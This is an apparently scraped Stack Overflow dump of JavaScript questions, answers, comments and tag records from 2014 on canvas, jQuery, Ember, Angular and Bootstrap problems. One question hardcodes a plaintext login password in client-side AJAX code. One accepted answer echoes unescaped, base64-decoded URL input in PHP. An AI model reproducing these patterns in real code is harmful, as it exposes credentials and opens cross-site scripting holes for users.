has body: You can use regex with string.replace() as follows, var text = "http://www.example.com:8080/hello/"; var withNoDigits = text.replace(/[0-9]/g, ''); var outputString = withNoDigits.replace(/:([^:]*)$/,'$1'); alert(outputString);
downvote count: 0

http://stackoverflow.com/a/25830892
type: Answer
has body: The problem in your code is that placeB function replace variable s which is stored globally as image loading is asynchronous. You need to pass the context variable in the function drawImage to use correct context for placeA and placeB function placeA() { c=document.getElementById("r1c1"); s = c.getContext("2d"); img = new Image(); img.onload= drawimage(s); } function placeB() { c=document.getElementById("r1c2"); s = c.getContext("2d"); img = new Image(); img.onload= drawimage(s); } function drawimage(s) { img.src="coin.jpg"; img.addEventListener("load",function(){s.drawImage(img,30,0,40,20)},false); img.addEventListener("load",function(){s.drawImage(img,0,30,40,20)},false); img.addEventListener("load",function(){s.drawImage(img,60,30,40,20)},false); img.addEventListener("load",function(){s.drawImage(img,30,70,40,20)},false); }
accepted answer of: http://stackoverflow.com/q/25830716
answers question: http://stackoverflow.com/q/25830716
type: AcceptedAnswer
score: 0

http://stackoverflow.com/comment/40444527
score: 0
comment on: http://stackoverflow.com/q/25849073
type: Comment
type: QuestionComment
has text: create a fiddle please.

http://stackoverflow.com/a/25785811
score: 2
answers question: http://stackoverflow.com/q/25785793
has body: You are creating and endless loop. If you get to i=3 you start the loop again and again. So your page just crashes. If you want a carousel just use a lightweight ready made script such as http://baijs.nl/tinycarousel/
upvote count: 2
has comment: http://stackoverflow.com/comment/40328801
has comment: http://stackoverflow.com/comment/40328752
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25785793

http://stackoverflow.com/a/25841746
score: 2
answers question: http://stackoverflow.com/q/25841615
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40432204
type: Answer
has body: try $(".faqs").find(".corner.tr:first,.corner.tl:first").hide(); DEMO
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25841615

http://stackoverflow.com/comment/40536058
comment on: http://stackoverflow.com/a/25838011
type: AnswerComment
score: 0
type: Comment
has text: For posterity, here is a more general solution for automatically centering and scaling on the given map: https://groups.google.com/forum/#!topic/dc-js-user-group/blRgfBGxG2A

function
tags question: http://stackoverflow.com/q/25780950
tags question: http://stackoverflow.com/q/25766881
tags question: http://stackoverflow.com/q/25808768
tags question: http://stackoverflow.com/q/25825935
tag name: function
tags question: http://stackoverflow.com/q/25838420
tags question: http://stackoverflow.com/q/25760132
tags question: http://stackoverflow.com/q/25769057
tags question: http://stackoverflow.com/q/25739387
tags question: http://stackoverflow.com/q/25849271
tags question: http://stackoverflow.com/q/25872698
tags question: http://stackoverflow.com/q/25730541
tags question: http://stackoverflow.com/q/25796116
tags question: http://stackoverflow.com/q/25716158
tags question: http://stackoverflow.com/q/25828403
tags question: http://stackoverflow.com/q/25851352
tags question: http://stackoverflow.com/q/25750236
tags question: http://stackoverflow.com/q/25847980
tags question: http://stackoverflow.com/q/25740539
tags question: http://stackoverflow.com/q/25831988
tags question: http://stackoverflow.com/q/25765518
tags question: http://stackoverflow.com/q/25731913
tags question: http://stackoverflow.com/q/25850693
tags question: http://stackoverflow.com/q/25745475
tags question: http://stackoverflow.com/q/25745375
tags question: http://stackoverflow.com/q/25833802
tags question: http://stackoverflow.com/q/25868772
tags question: http://stackoverflow.com/q/25846398
tags question: http://stackoverflow.com/q/25726097
tags question: http://stackoverflow.com/q/25799029
tags question: http://stackoverflow.com/q/25828205
type: Tag
tags question: http://stackoverflow.com/q/25850326
tags question: http://stackoverflow.com/q/25787907
tags question: http://stackoverflow.com/q/25749010
tags question: http://stackoverflow.com/q/25741287
tags question: http://stackoverflow.com/q/25867254
tags question: http://stackoverflow.com/q/25739870
tags question: http://stackoverflow.com/q/25834819
tags question: http://stackoverflow.com/q/25771150
tags question: http://stackoverflow.com/q/25833858
tags question: http://stackoverflow.com/q/25832149
tags question: http://stackoverflow.com/q/25818619
tags question: http://stackoverflow.com/q/25858396
tags question: http://stackoverflow.com/q/25858962

http://stackoverflow.com/q/25825832
tagged with: cycle
tagged with: loops
has body: I'm trying to create a piece of js that will cycle through displaying classes, and then loop back to the start. for a better example of what I mean; I have a sentence, example: 'I like cats.' I would like the word 'cats' to be substituted with the words 'dogs', 'hamsters', 'lions' and 'fish' for example. every 2 seconds, one word will be changed for another with a fade, and once the last one is reached, the cycle will begin again. I am currently trying to do this by having all 5 words with a different class, and trying to change the display of each class every 2 seconds. However, I am new to js, and I realise, that this is inelegant, and possibly incorrect. thanks in advance for any help guys :)
accepted answer: http://stackoverflow.com/a/25825962
tagged with: javascript
tagged with: jquery
has title: JS class cycle and loop
tagged with: class
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25825962
answer count: 1
score: 0

http://stackoverflow.com/q/25737222
favorite count: 0
type: UnansweredQuestion
tagged with: ember.js
has title: Creating a togglable CKEditor in ember
answer count: 0
score: 1
type: Question
tagged with: javascript
tagged with: ckeditor
upvote count: 1
downvote count: 0
has body: I am trying to create an inline CKEditor view in ember, which can be toggled on or off by the user using an "edit" button. The idea is that certain users have permission to edit content, so they have the option of clicking an "Edit" button which changes the &lt;blockquote&gt; element into a CKeditor instance. Clicking "Save" should deactivate the editor and restore the original element. I have it half working with the following code, but the problem is that clicking "Edit" a second time does not recreate the editor, it just sets contenteditable on the &lt;blockquote&gt;. App.CkEditor = Ember.View.extend({ tagName: 'blockquote', attributeBindings: ['contenteditable'], value: '', editor: null, enabled: false, contenteditable: function() { if (this.get('enabled')) { return 'true'; } else { return 'false'; } }.property('tagName', 'enabled'), enabledObserver: function() { var editor = this.get('editor'); if (this.get('enabled') &amp;&amp; Ember.isNone(editor)) { this.createElement(); } else if (!this.get('enabled') &amp;&amp; !Ember.isNone(editor)) { editor.destroy(); this.createElement(); } }.observes('enabled'), createElement: function() { if (this.get('enabled')) { // Create a CKEDitor var configOption = this.get('configOptions')[this.get('config')]; var _this = this; CKEDITOR.disableAutoInline = true; this.$().ckeditor(function(element) { var editor = $(element).ckeditor().editor; _this.set('editor', editor); editor.setData(_this.get('value')); editor.on('change', function(event) { if (editor.checkDirty()) { _this.set('value', editor.getData()); } }); }); } else { // Just create a basic element this.$().html(this.get('value')); } }, didInsertElement: function() { this.createElement(); } });

http://stackoverflow.com/comment/40399343
comment on: http://stackoverflow.com/a/25824073
type: AnswerComment
score: 0
has text: Sorry, the `prev()` code was just wrong. I misinterpreted the code i think. `parent()` should do the job!
type: Comment

http://stackoverflow.com/comment/40340958
type: Comment
has text: Ahhhhhh! You've just released a stress valve from my head!
comment on: http://stackoverflow.com/a/25792217
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40386516
comment on: http://stackoverflow.com/a/25816704
type: Comment
has text: yeah that was just an arbitrary thing to put in the loop, I didn't realize it'd make such an impact. thanks for updating the jsperf
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40475317
has text: Guys, Finally I have figured it out. I'm using a commercial version of ExtJS which might have expired already. Trying the same code in a GPL version did the trick! Sencha folks can still display an apt message rather than these meaningless console logs.
comment on: http://stackoverflow.com/q/25848582
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40277113
comment on: http://stackoverflow.com/q/25756630
has text: I have absolutely no idea what you're asking. Could you please try explaining again, from the beginning, in detail?
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/comment/40407838
score: 0
type: Comment
type: QuestionComment
has text: also `$.getJSON("get_stat.php",` != `get_state.php`
comment on: http://stackoverflow.com/q/25828672

http://stackoverflow.com/a/25776132
score: 1
type: Answer
has body: propTest in this scenario here looks like it's a computed property, and not an observable. (edit: not that computed properties don't have underlying observables powering them, but they're different in usage enough that I like to keep them separate) It'll fire when the underlying propTest fires, but if there's no change, ember will no-op that out in the run loop. If you'd rather this be a raw observable, use the observes() syntax. @each will work here, but I like being explicit and have an observable update what it needs to rather than using the computed property, unless I need direct access to that property to bind with in a template. The "only firing on execution" stems from the initial bindings from the computed property getting created. If it never fires after that, the underlying bindings you're using for the computed property @each.propTest must be incorrect, otherwise that would indeed fire. I think you may also be confused to the purpose of an ObjectController. An Ember.Object can do all of the observable business that a controller can, short of having a 'model' or 'content' property backing it. It looks like you may want to go with a straight up object rather than a controller here for the todo, since ember doesn't really have a 'model' type. I'd then put the objects themselves as part of the content of the ArrayController, at which point @each would be able to iterate on them as you'd expect. The ObjectController sits at the same level of usage as an ArrayController. You can certainly nest them as you've done here, but my spidey-sense is tingling that it's the wrong thing to do given the application. You probably don't need to have a backing controller for each todo object, you just need the todo object itself.
upvote count: 1
answers question: http://stackoverflow.com/q/25774035
downvote count: 0

http://stackoverflow.com/q/25758350
favorite count: 0
tagged with: ajax
accepted answer: http://stackoverflow.com/a/25758923
has comment: http://stackoverflow.com/comment/40280055
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40279581
type: AnsweredQuestion
upvote count: 2
downvote count: 2
type: Question
tagged with: google-analytics
has body: I have a JavaScript Function in an HTML Page's . It will return a value. The returning value must be caught from another JavaScript Function. This 2nd JavaScript Function is in an external JavaScript File. This external JS File is linked to the HTML file. So how am I suppose to do this. Could someone help me on this matter? Thanks and regards, Chiranthaka Update HTML File.(Dashboard.html) &lt;head&gt; &lt;script type="text/javascript" src="js/script.js"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; function setJsonSer() { formData = { 'Email': 'clientlink@russell.com', 'Password': 'russell1234', 'URL': getVaria() }; $.ajax({ url: "/APIWebService.asmx/AnalyticsDataShowWithPost", type: 'POST', data: formData, complete: function(data) { alert("Set JSON In "+JSON.stringify(data)); } }); $.ajax({ url: "/APIWebService.asmx/AnalyticsDataShowWithPost", type: 'GET', data: formData, complete: function(data) { alert("Get JSON Out "+JSON.stringify(data)); } }); } &lt;/script&gt; &lt;/head&gt; External JavaScript File - Script.js function retStartDate(){ var strStartDate = document.getElementById("from_date").value; alert("Start date " + strStartDate); return strStartDate; } function retEndDate(){ var strEndDate = document.getElementById("to_date").value; alert("End date " + strEndDate); return strEndDate; } function getVaria(){ alert(retEndDate()); var strWsUrl = 'https://www.googleapis.com/analytics/v3/data/ga?ids=ga%3A76546294&amp;dimensions='+ 'ga%3Asource&amp;metrics=ga%3Ausers&amp;sort=-ga%3Ausers&amp;start- date='+retStartDate()+'&amp; end-date='+retEndDate()+'&amp;max-results=10'; alert("Query String "+strWsUrl); return strWsUrl; } --End of update ----
has answer: http://stackoverflow.com/a/25758923
has title: Accessing JavaScript Function in an HTML Page From an external JavaScript File
tagged with: javascript
has comment: http://stackoverflow.com/comment/40281440
has comment: http://stackoverflow.com/comment/40280161
score: 0
has comment: http://stackoverflow.com/comment/40280282
answer count: 1

http://stackoverflow.com/a/25813074
score: 0
answers question: http://stackoverflow.com/q/25812891
has body: try this $(window).scroll(function() { if ($(window).scrollTop() + $(window).height() &gt; $(document).height()) { //your stuffs here } });
type: Answer

http://stackoverflow.com/a/25781044
has body: You may listen you a more global event like 'onchange' and change the value back to the previous one when the event trigger. Disabling the select may work too. Edit : 'keydown' seems like a good idea too.
score: 0
answers question: http://stackoverflow.com/q/25780874
type: Answer

http://stackoverflow.com/comment/40418307
comment on: http://stackoverflow.com/q/25834692
has text: Try the CSS approaches covered in [**this answer**](http://stackoverflow.com/questions/5703552/css-center-text-horizontal-and-vertical-inside-a-div-block/25799339#25799339). No JS needed - the methods work for dynamic dimensions.
type: Comment
type: QuestionComment
score: 2

http://stackoverflow.com/q/25717081
score: 1
tagged with: angularjs-ng-repeat
favorite count: 0
has title: angular not 2-way binding
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40202862
type: Question
has comment: http://stackoverflow.com/comment/40202438
has comment: http://stackoverflow.com/comment/40202477
has comment: http://stackoverflow.com/comment/40202478
has answer: http://stackoverflow.com/a/25717363
answer count: 3
upvote count: 1
possible better answer: http://stackoverflow.com/a/25717121
has answer: http://stackoverflow.com/a/25717121
has body: Trying to teach myself AngularJS and am stuck on a tutorial trying to build a simple shopping cart. I cannot for the life of me figure out why my {{}} angular tags are not displaying the data in the view, rather they are displaying the literal string (i.e.) Any insights? I'm worried the code isn't referencing the angular library, but the source is correct - the library is saved as angular.min.js . Please help! ` Your Shopping Cart Your order {{item.title}} Remove `
has answer: http://stackoverflow.com/a/25717756
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25717363
type: AnsweredQuestion
downvote count: 0

jqbootstrapvalidation
type: Tag
tag name: jqbootstrapvalidation
tags question: http://stackoverflow.com/q/25763871

http://stackoverflow.com/q/25871908
has title: onEdit trigger google scripts not working
tagged with: google-sheets
answer count: 1
tagged with: javascript
favorite count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/40487675
tagged with: google-calendar-api
tagged with: triggers
has body: So I have a Google spreadsheet which is constantly being updated by a script called "writeToSheet" (this is working fine). This writes a new row at the end of the spreadsheet, the last column of which is a date. I also have a second script with a function called "writeToCal" which takes some of the data from this new row in the spreadsheet and creates a Google calender event on the date given by the column mentioned above. The problem arises when I try to trigger the "writeToCal" so that "writeToCal" is executed whenever the spreadsheet is updated. I have tried simple triggers and installable triggers however neither seem to work for me. (https://developers.google.com/apps-script/guides/triggers/installable) The code works (i.e. it creates the calender event) when I run it from script manager in the Google spreadsheet, but I want it to run automatically every time the spreadsheet is updated. Since the script works fine when I run it I believe it is a matter of the triggering, but I cannot find out where the issue lies. Any help would be much appreciated My code is as follows, this script is bound to the spreadsheet in question: **function triggerWhyDoYouCallMeDave() { var ss = SpreadsheetApp.openById("BlahBlah"); ScriptApp.newTrigger('writeToCal') .forSpreadsheet(ss) .onEdit() .create(); } function writeToCal(e) { var ss= SpreadsheetApp.openById("BlahBlah"); var tt = ss.setActiveSheet(ss.getSheets()[0]); var lastRow = tt.getLastRow(); var lastColumn = tt.getLastColumn(); //Title is from the User and the follow up message var userCell = tt.getRange(lastRow, 2); var usr = userCell.getValue(); var followUpCell = tt.getRange(lastRow, 8); var follUp = followUpCell.getValue(); var target = tt.getRange(lastRow, 6); var targetName = target.getValue(); var title = (usr+": "+follUp+" with "+targetName); //Get the date from the follow up date. var dateCell = tt.getRange(lastRow, 9); var follUpDate = new Date(dateCell.getValue()); var calendar = CalendarApp.getCalendarById('Bla…
type: AnsweredQuestion
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/25873176
accepted answer: http://stackoverflow.com/a/25873176
has comment: http://stackoverflow.com/comment/40487295
type: Question
tagged with: google-apps-script

http://stackoverflow.com/comment/40428342
type: QuestionComment
comment on: http://stackoverflow.com/q/25839547
has text: Well, I'm obviously not on your level and that is why I'm asking this question.... can you show me how to search it from the matches in the manifest?
score: 0
type: Comment

http://stackoverflow.com/q/25856346
accepted answer: http://stackoverflow.com/a/25856594
favorite count: 0
upvote count: 2
tagged with: css
has comment: http://stackoverflow.com/comment/40458360
score: 2
type: AnsweredQuestion
has body: I know that transitions for the display property don't work, but I was wondering if there is a work around for this. I tried the visibility property but it doesn't seem to suit the task I am trying to achieve, or maybe I did it wrong. As you can see, I am displaying different text when you hover over the anchor tag by setting the span to display: none;. Animating the opacity won't be a good solution because the element being animated will still occupy the space it held. Is there maybe a workaround in Javascript or jQuery? Here is the code. I left out the transition property and its prefixes for brevity. The animation I want is for it to switch slowly between the two, i.e. One fades out, the other fades in. There doesn't have to be an overlap, but it doesn't matter if there is. HTML &lt;div class="navbar"&gt; &lt;ul&gt; &lt;li&gt;&lt;a id="menu1" href="index.html"&gt;&lt;i class="fa fa-home"&gt;&lt;/i&gt;&lt;span&gt;&amp;nbsp;Home&lt;/span&gt;&lt;span class="show"&gt;&amp;nbsp;Welcome Home&lt;/span&gt;&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; CSS .show, a:hover span { display: none; } a:hover .show { display: inline; }
type: Question
has answer: http://stackoverflow.com/a/25856594
answer count: 2
has title: How to work-around the transition for display property?
possible better answer: http://stackoverflow.com/a/25856435
has answer: http://stackoverflow.com/a/25856435
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40458167
tagged with: http://stackoverflow.com/tag/html
downvote count: 0

http://stackoverflow.com/q/25830716
favorite count: 0
has body: I want to draw 4 coins in a table that consists of 1 row and 2 columns. That means all the rows and all the columns must have all 4 coins. I have written the code as below. But it is giving the unexpected result. i.e., the coins are displaying in only 2 column ...plz help me..
tagged with: http://stackoverflow.com/tag/html
has title: drawing using canvas in html 5
accepted answer: http://stackoverflow.com/a/25830892
upvote count: 1
type: AnsweredQuestion
score: 1
type: Question
has answer: http://stackoverflow.com/a/25830892
answer count: 1
downvote count: 0
tagged with: javascript

http://stackoverflow.com/comment/40257887
type: Comment
comment on: http://stackoverflow.com/a/25743311
has text: great idea, How do i do it? simply with an if statement?
score: 0
type: AnswerComment

http://stackoverflow.com/a/25864011
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25786615
downvote count: 1
accepted answer of: http://stackoverflow.com/q/25786615
type: Answer
upvote count: 0
has comment: http://stackoverflow.com/comment/40471989
score: -1
has comment: http://stackoverflow.com/comment/40471926
has body: Hummm we can use js base64 for encode https://github.com/dankogai/js-base64 and pass it by url variable then access it for decode on php use base64_decode(); &lt;?php $str = $_GET['key']; echo base64_decode($str); ?&gt;

http://stackoverflow.com/comment/40400187
has text: in php my code is --- please tell me where to put the option in.... if(@$_POST['genre']=="") { $abc=mysql_query("select * from games where pc='yes'"); } else if(isset($_POST['genre'])) { if($_POST['genre']=="All") { $abc=mysql_query("select * from games where pc='yes'"); } else if($_POST['genre']=="Strategy") { $abc=mysql_query("select * from games where pc='yes' and genre='Strategy'"); } else if($_POST['genre']=="Action / Mission") { $abc=mysql_query("select * from games where pc='yes' and genre='Action / Mission'"); }
comment on: http://stackoverflow.com/a/25824334
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25736084
tagged with: ruby-on-rails
has body: I am experimenting with Bootstrap and I was wondering how can I adjust number of columns depending of screen size. I saw this from Bootstrap CSS tutorial: .col-xs-12 .col-md-8 .col-xs-6 .col-md-4 .col-xs-6 .col-md-4 .col-xs-6 .col-md-4 .col-xs-6 .col-md-4 .col-xs-6 .col-xs-6 I have 6 columns on big screen size and I would like to switch it to two rows of 3 columns on medium screens and to three rows of 2 columns on small screens. It looks to me that I can only change width of columns and not number of columns. Can I do it with Bootstrap and if not what would be a good way to do it? Javascript?
type: AnsweredQuestion
tagged with: javascript
score: 4
type: Question
answer count: 3
has comment: http://stackoverflow.com/comment/40238938
has answer: http://stackoverflow.com/a/25736233
favorite count: 0
has answer: http://stackoverflow.com/a/25736206
has title: Change number of columns depending on screen size
upvote count: 4
tagged with: css
downvote count: 0
tagged with: twitter-bootstrap
has answer: http://stackoverflow.com/a/25736394
accepted answer: http://stackoverflow.com/a/25736394
possible better answer: http://stackoverflow.com/a/25736233

http://stackoverflow.com/a/25756456
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25756384
type: Answer
answers question: http://stackoverflow.com/q/25756384
has comment: http://stackoverflow.com/comment/40276922
has body: You need to test whether a given element is set to something before attempting to write to one of its properties. Instead of this... for (i = 0; i &lt; showXMostRecentFruits; i++) { fruitsArray[i].position = i; } Use this: for (i = 0; i &lt; showXMostRecentFruits; i++) { if (fruitsArray[i]) fruitsArray[i].position = i; } You fill the array from the end, staring with element 20. Without the if (fruitsArray[i]), you're attempting to set undefined.position = i for the first 19 elements.
score: 0

http://stackoverflow.com/comment/40400975
type: QuestionComment
comment on: http://stackoverflow.com/q/25821614
score: 0
has text: @HMR could you tell more about this error, how to reproduce it with my code below? Because I didn't get any exceptions.
type: Comment

http://stackoverflow.com/q/25808640
answer count: 3
tagged with: android
tagged with: http://stackoverflow.com/tag/html
has title: Android: play video 3 seconds after click
has answer: http://stackoverflow.com/a/25808719
type: UnansweredQuestion
has body: I have a web application with a video player. When the user presses a button, the video starts playing. Now, I added an animation that starts when the button is clicked, en when it finishes, the video should start playing. The animation is based on setInterval (to be more precise, the HTML5 variant, requestInterval). This works perfectly, but only on a Mac/PC, because there are restrictions for video playback on Android. When you want a video to actually start playing programmatically, the function that calls the play() function of the video element needs to be directly triggered by a user action (e.g. click on a button). Before the animation, this was indeed the case, and everything worked as intended. I need the video to play only after the animation is finished, because there is considerable lag on the animation if the video starts playing when the animation starts. Any ideas or workarounds?
tagged with: video
has answer: http://stackoverflow.com/a/25808755
has answer: http://stackoverflow.com/a/25808732
type: Question
tagged with: javascript
tagged with: jquery
score: 0

http://stackoverflow.com/comment/40308252
type: Comment
type: QuestionComment
has text: `AnimalMaker` creates an object with a `speak` method. You still need to invoke that method to make the object speak... Check my full answer.
comment on: http://stackoverflow.com/q/25774063
score: 0

http://stackoverflow.com/comment/40470289
type: AnswerComment
type: Comment
score: 1
has text: And you can use \t for tabs
comment on: http://stackoverflow.com/a/25863032

http://stackoverflow.com/a/25716825
accepted answer of: http://stackoverflow.com/q/25715648
upvote count: 2
type: Answer
score: 2
type: AcceptedAnswer
downvote count: 0
has body: You shouldn't use innerHTML in an SVG document. Create the tspan and use textContent to set the text... var year_elements_text_tspan = document.createElementNS(NS, "tspan"); year_elements_text_tspan.textContent = String(starting_year + i); year_elements_text.appendChild(year_elements_text_tspan); g_tl.appendChild(year_elements_text); http://jsfiddle.net/e834s5L6/
answers question: http://stackoverflow.com/q/25715648

http://stackoverflow.com/q/25746358
has answer: http://stackoverflow.com/a/25747416
has answer: http://stackoverflow.com/a/25748108
accepted answer: http://stackoverflow.com/a/25748108
tagged with: datepicker
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40257669
has title: Select week number or date in JQuery UI datepicker
type: Question
tagged with: jquery-ui
tagged with: javascript
score: 0
answer count: 2
has body: This is the first time that I do something with jQuery UI and also my JS skills are at the beginner level. What's my problem: I wanna use JQuery UI datepicker to select: getting a single date when I click on a day or getting a date range when I click on the week number. How can I get the date/date range? But it would be nice to get a simple working example.
tagged with: jquery
possible better answer: http://stackoverflow.com/a/25747416

http://stackoverflow.com/comment/40484060
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25868237
has text: You can't set it dynamically, use a renderer.

http://stackoverflow.com/comment/40439416
type: Comment
comment on: http://stackoverflow.com/q/25845991
type: QuestionComment
score: 1
has text: Is there going to be some methods in the Contact function ? BTW : for constructor functions, you should give them a name with an uppercase on the first letter, and since it is not a collection but a single contact, it should not be named with an 's'.

http://stackoverflow.com/q/25776166
has comment: http://stackoverflow.com/comment/40312459
tagged with: javascript
tagged with: jquery-isotope
tagged with: jquery
has body: When i'm using onkeypress the isotope('reloadItems') won't reload the layout which means the textarea gets pushed under the item below. Can anyone help please? :] jsfiddle
has comment: http://stackoverflow.com/comment/40312593
answer count: 1
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/25824270
has comment: http://stackoverflow.com/comment/40312202
type: UnansweredQuestion
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40312308
type: Question
has comment: http://stackoverflow.com/comment/40312418
has title: Isotope won't reload onkeypress

http://stackoverflow.com/a/25823199
has comment: http://stackoverflow.com/comment/40397531
score: 0
answers question: http://stackoverflow.com/q/25822613
has comment: http://stackoverflow.com/comment/40397857
has body: I had to correct this html that I generated. The problem was not from the javascript rather the html. chat This solved the problem. Thanks alot for all your contributions. I really appreciate !!!!.
type: Answer

http://stackoverflow.com/a/25834187
type: Answer
has body: You can make use of setInterval to generate a new random index at interval of every 5 seconds and then print random value from array. var mess = []; mess.push('test1'); mess.push('test2'); mess.push('test3'); setInterval( function() { var num = Math.floor((Math.random() * mess.length)) document.write(mess[num]); }, 5000); Refer this fiddle http://jsfiddle.net/3wpcp35L/
answers question: http://stackoverflow.com/q/25834091
score: 0
has comment: http://stackoverflow.com/comment/40417318

self-signed
type: Tag
tags question: http://stackoverflow.com/q/25860810
tag name: self-signed

http://stackoverflow.com/comment/40343641
comment on: http://stackoverflow.com/a/25793527
has text: @Barmar Edited, tested
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40330871
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25785722
type: Comment
has text: well, if the index it's unknown, that's not a valid path, and you can't use it. In your example, try `schemaTwo.subFolders[0].name` instead

conflict
tag name: conflict
tags question: http://stackoverflow.com/q/25756378
type: Tag

http://stackoverflow.com/q/25818003
has comment: http://stackoverflow.com/comment/40388735
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25818360
accepted answer: http://stackoverflow.com/a/25818360
tagged with: http://stackoverflow.com/tag/json
type: Question
has comment: http://stackoverflow.com/comment/40388557
tagged with: javascript
tagged with: jquery
tagged with: ajax
has comment: http://stackoverflow.com/comment/40388591
score: 0
possible better answer: http://stackoverflow.com/a/25818347
answer count: 3
has answer: http://stackoverflow.com/a/25818396
has title: How to make objects fadeIn one after the next using ajax/json
has comment: http://stackoverflow.com/comment/40388610
has answer: http://stackoverflow.com/a/25818347
has body: I am trying to get my div holding the json data to animate one after another. right now they pretty much come in all at the same time. kind of like a staggered animation. Any help would be great, thank you. my script ajax: function(){ $.ajax('projects.json', { dataType: 'json', success: function(result){ var count = 0; for(var i=0;i<result.projectName.length;i++){ count++; result.projectName[i].ID = count; var el = $(" "+ result.projectName[i].name+" "+ result.projectName[i].color+" "+ result.projectName[i].ID+" "); intro.find('ul').append(el).fadeIn(); } }, error: function(error){ alert("Error ajax not working"+error); } }); } Here is my json { "projectName": [{ "name": "shortSleeve", "url": "/../images/frog.jpg", "color": "blue", "ID": "" }, { "name": "slongSleeve", "url": "images/frog.jpg", "color": "red", "ID": "" }, { "name": "turtleSleeve", "url": "images/frog.jpg", "color": "purple", "ID": "" }] }
has comment: http://stackoverflow.com/comment/40389121

http://stackoverflow.com/comment/40344559
score: 0
type: AnswerComment
has text: You dont need a ready statement in JSFiddle, if you look at the dropdown onder the jquery dropdown it has that option.
type: Comment
comment on: http://stackoverflow.com/a/25775123

http://stackoverflow.com/comment/40221614
type: QuestionComment
has text: But how else would `transition effect completes` if there's no transition????
score: 0
comment on: http://stackoverflow.com/q/25727354
type: Comment

http://stackoverflow.com/comment/40449010
comment on: http://stackoverflow.com/q/25851050
score: 0
type: Comment
type: QuestionComment
has text: thanks you so much @Bic. checking cordova site.

http://stackoverflow.com/a/31461839
type: Answer
score: 3
upvote count: 3
answers question: http://stackoverflow.com/q/25766238
has body: I know this is a bit late, but I had a similar issue and wanted to post an alternative solution. I used the loop and merge function, but I didn't want to have participants click on a button to exit the loop, instead I wanted to use a multiple choice question to exit the loop. This question was, "would you like to ask more questions?", with responses yes and no. If the participant selected "Yes" they would keep going through the loop and if they selected "No" they would exit the loop and go on to the next block of questions. My first two steps are the same as those above. 1.Set up an Embedded data field named EndLoop and set the value to 1. - in the survey flow panel select add an element. Then type in the name EndLoop. - Then select set value now and set the value to 1. - make sure that this is before your loop and merge block in the survey flow. For each question in the loop and merge block use display logic to ensure that they only display when the embedded data element EndLoop is 1. Now for the question "would you like to ask more questions?" add the following code in the add javascript area. the javascript area can be found by clicking the advanced options button under the question number on the lefthand side of the screen. Select 'Add javascript...' There will be some code already present...it should look like this: Qualtrics.SurveyEngine.addOnload(function() { /Place Your Javascript Below This Line/ }); Basically I used event tracking to update the embedded data field EndLoop to the numerical value associated with the answer choice when the answer choice was selected. In this case the answer "Yes" had a value of 1 because it was the first option and "No" had a value of 2 because it was the second option. When "No" was selected, the embedded data field EndLoop was set to a value of 2. This then meant that none of the questions would display since they have display logic to ensure they only display when the EndLoop field is 1. My entire code looks like this: Qua…
downvote count: 0

http://stackoverflow.com/comment/40336311
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25789892
has text: For 2014-01-01T00:00:00Z use `new Date(Date.UTC(2014,0,1,0,0,0))`. To see the result as GMT/UTC, use [*toISOString*](http://ecma-international.org/ecma-262/5.1/#sec-15.9.5.43).

http://stackoverflow.com/a/25801604
answers question: http://stackoverflow.com/q/25801410
type: Answer
upvote count: 1
score: 1
downvote count: 0
has body: Since you are supporting IE 8 and 9 as well, there isnt a single method that will help you solve this. You could use the history API of html5 but that doesn't support IE8 and 9. As mysteryos mentioned in the above comment, you could use window.onPopState for chrome, firefox etc, and for IE you could create a separate js file and use conditional statements to fire it when the user uses IE. For example: &lt;!--[if lte IE 9]&gt; &lt;script src="youIESpecificfile.js"&gt;&lt;/script&gt; &lt;![endif]--&gt; Read more about the HTML5 History API here: onPopState by mozilla Hope this helps!

http://stackoverflow.com/comment/40440410
comment on: http://stackoverflow.com/a/25846787
type: AnswerComment
score: 0
type: Comment
has text: That's a nicer answer than mine. I keep forgetting about the ES5 array methods since I can't use them at work.

http://stackoverflow.com/comment/40365051
type: Comment
has text: Thanks, keeps things tidier! I'll use that and keep trying things.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25805187

http://stackoverflow.com/q/25809545
answer count: 1
upvote count: 2
has comment: http://stackoverflow.com/comment/40371934
has answer: http://stackoverflow.com/a/25842714
accepted answer: http://stackoverflow.com/a/25842714
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40371847
type: Question
has comment: http://stackoverflow.com/comment/40371913
downvote count: 4
score: -2
tagged with: javascript
favorite count: 0
has title: How to transform flat JavaScript objects array into nested hierarchical JSON structure?
has body: I need to transform the following flat JavaScript objects array: [ [ { "name": "child1" }, { "name": "parent1" }, { "name": "grandparent1" } ], [ { "name": "child2" }, { "name": "parent2" }, { "name": "grandparent2" } ] ] Into the following nested hierarchical JSON structure: { "data": [ { "name": "child1", "parent": { "name": "parent1", "parent": { "name": "grandparent1", "parent": null } } }, { "name": "child2", "parent": { "name": "parent2", "parent": { "name": "grandparent2", "parent": null } } } ] } How could I accomplish this in JavaScript?

http://stackoverflow.com/a/25732292
has comment: http://stackoverflow.com/comment/40232010
